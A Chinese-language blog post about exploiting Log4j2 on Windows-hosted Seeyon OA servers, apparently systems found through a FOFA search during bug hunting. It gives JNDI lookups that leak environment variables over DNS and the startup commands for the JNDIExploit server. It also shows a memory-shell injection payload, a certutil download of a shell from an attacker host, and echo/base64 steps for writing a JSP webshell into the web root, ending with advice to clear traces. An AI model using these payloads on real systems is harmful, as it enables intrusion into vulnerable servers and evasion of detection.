windows系統下log4j2漏洞的后滲透
0x00
前言
在近期挖洞過程中，遇到很多window系統下的log4j2漏洞環境。在大多數時候都是簡單的漏洞驗證，漏洞的后續利用一直嘗試未果。帶著這個執念，開始研究log4j2的后續利用。
0x01
挖洞中遇到存在log4j2遠程命令執行漏洞的較多的就是致遠OA，無論是致遠A6還是A8，十個致遠OA里總能找到一兩個存在漏洞的（挖洞人狂喜！）。
由于致遠OA并不開源，所以在目標范圍中通過fofa上找到一名的致遠用戶
fofa引擎搜索語法： app="致遠互聯-OA" app="致遠A8" app="致遠A6" ...
被插件檢測到，就決定是你了
強烈安利 log4j2burpscanner檢測插件 項目地址： https://github.com/Jeromeyoung/log4j2burpscanner
訪問這個站看下，是一個致遠A8
漏洞驗證
驗證log4j2很簡單，漏洞原理在此就不贅述了。
判斷操作系統
判斷操作系統的方法有很多，這里分享一種我常用的
例如
${jndi:dns://${env:OS}.dnslog.com} //Windows查看系統版本
${jndi:dns://${env:USERNAME}.dnslog.com} //windows查看當前用戶
再分享一些log4j2可以執行的命令
log4j-java
IDusagemethod1${java:version}getSystemProperty("java.version")2${java:runtime}getRuntime()3${java:vm}getVirtualMachine()4${java:os}getOperatingSystem()5${java:hw}getHardware()6${java:locale}getLocale()
Linux
idusage1${env:CLASSPATH}2${env:HOME}3${env:JAVA_HOME}4${env:LANG}5${env:LOGNAME}6${env:MAIL}7${env:PATH}8${env:PWD}9${env:SHELL}10${env:USER}
Windows
idusage1${env:A8_HOME}2${env:A8_ROOT_BIN}3${env:CLASSPATH}4${env:JRE_HOME}5${env:Java_Home}6${env:LOGONSERVER}7${env:OS}8${env:Path}9${env:USERDOMAIN}10${env:USERNAME}
log4j2-sys
idusage1${sys:java.version}2${sys:os.name}3${sys:os.version}4${sys:user.name}
命令執行
在致遠OA的環境下，我們可以通過注入內存馬進行命令執行
使用JNDI注入工具
下載地址：https://github.com/Jeromeyoung/JNDIExploit-1
1.在vps上使用工具啟動服務
java -jar JNDIExploit-1.2-SNAPSHOT.jar -u //該命令可以列舉JNDI注入的利用鏈
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i vps公網地址 -l port -p port //-l 指定ladp服務端口 -p 指定HTTP服務端口
2.使用注入內存馬的exp
${jndi:ldap://x.x.x.x:1389/TomcatBypass/TomcatMemshell111}
https://ip/seeyon/anything?type=basic&pass=ipconfig
后滲透
在可以命令執行后，想要進一步獲取服務器權限，這里我想到兩種思路：一是下載公網服務器的shell文件或者exe直接上線；二是直接寫入webshell。思路清晰，直接開沖！
思路一
在公網開啟http服務，讓目標服務器下載我們公網服務器的文件
使用命令執行curl一下我的公網地址看看能不能訪問（竟然沒回顯，不過沒關系我們繼續）
windows自帶的certutil工具可以下載遠程服務器上的文件，嘗試下載shell文件
certutil.exe -urlcache -split -f http://x.x.x.x/shell.jsp
果不其然還是報錯
我們看一下有沒有下載成功
OK，下載失敗，我們直接跑路嘗試其他思路。
思路二
直接寫入webshell，這種辦法簡單粗暴，但也是坑點最多的地方。
坑點一
本著謹慎的態度，我打算先傳個txt試試水。（當然要先找對上傳位置..\webapps\seeyon\）
echo 111 >..\webapps\seeyon\test.txt
看看是否創建成功
訪問test.txt，也沒啥毛病
做到這一步的時候我已經激動的不行了，直接整個jsp寫個shell進去！
執行完命令看到沒報錯的時候，我已經慌了，看眼寫進去沒。emmmmm，果然沒有
坑點二
就在我滿頭問號？？？的時候，某大佬對我進行了及時指導：“你把echo的內容base64編個碼寫上去，再把文件解碼不就行了？certutil工具就可以實現編解碼！”。我直接醍醐灌頂，開沖！
先是編解碼
CertUtil -encode test.jsp test.txt //編碼 CertUtil -decode test.txt test.jsp //解碼
編碼后的文件長這樣
經過測試，發現去掉BEGIN和END以及換行是不影響解碼的
這次一定成功！直接寫入編碼后的內容
看看有沒有寫進去，再訪問一下
可以看到寫入成功了，把txt文件解碼輸出jsp文件就成了
查看是否輸出成功，怎么又失敗了。。
正當我茫然不知所措的時候，大佬又點醒了我：“你看看是不是目標有殺軟”。
破案了。。估計是certutil命令被阻止了，之前下載的操作估計也是一樣。
坑點三
在寫入shell這條路走不通后，時間也來到了下午六點，直接開擺等下班。這時閑來無事搜索了下echo命令，發現是有講究的："<>"需要轉義，否則會有與輸入輸出發生歧義的問題。舉個例子：
趕緊把馬子轉義一下重新寫入。
看看寫上去沒
？？？沒有？那我再url編個碼！
再看一眼，好起來了！
訪問一下，nice！完美！
這次直接傳個jsp，拿下拿下！
連接webshell（求求了一定要連上T.T）
wuhu~~拿下！
PS：記得清理痕跡！！！
0x02
后記
這一次艱難的探索之旅從年前就開始了，中途由于各種原因擺爛至今。如今終于在大佬們的幫助下攻克了。其實在注入內存馬之前還有過其他的想法，比如：直接把上線cs的命令寫在代碼里打包class并讓目標請求的離譜操作（當時看服務端確實有被請求，但是并沒有上線，萬惡的殺軟！），好在大佬及時指點沒有浪費太多時間。雖然解決了一個不值一提的問題，但還有點成就感的，對文章中有問題或者有異議的地方，也請大佬們糾錯。和諧討論，快樂滲透！多謝大噶~
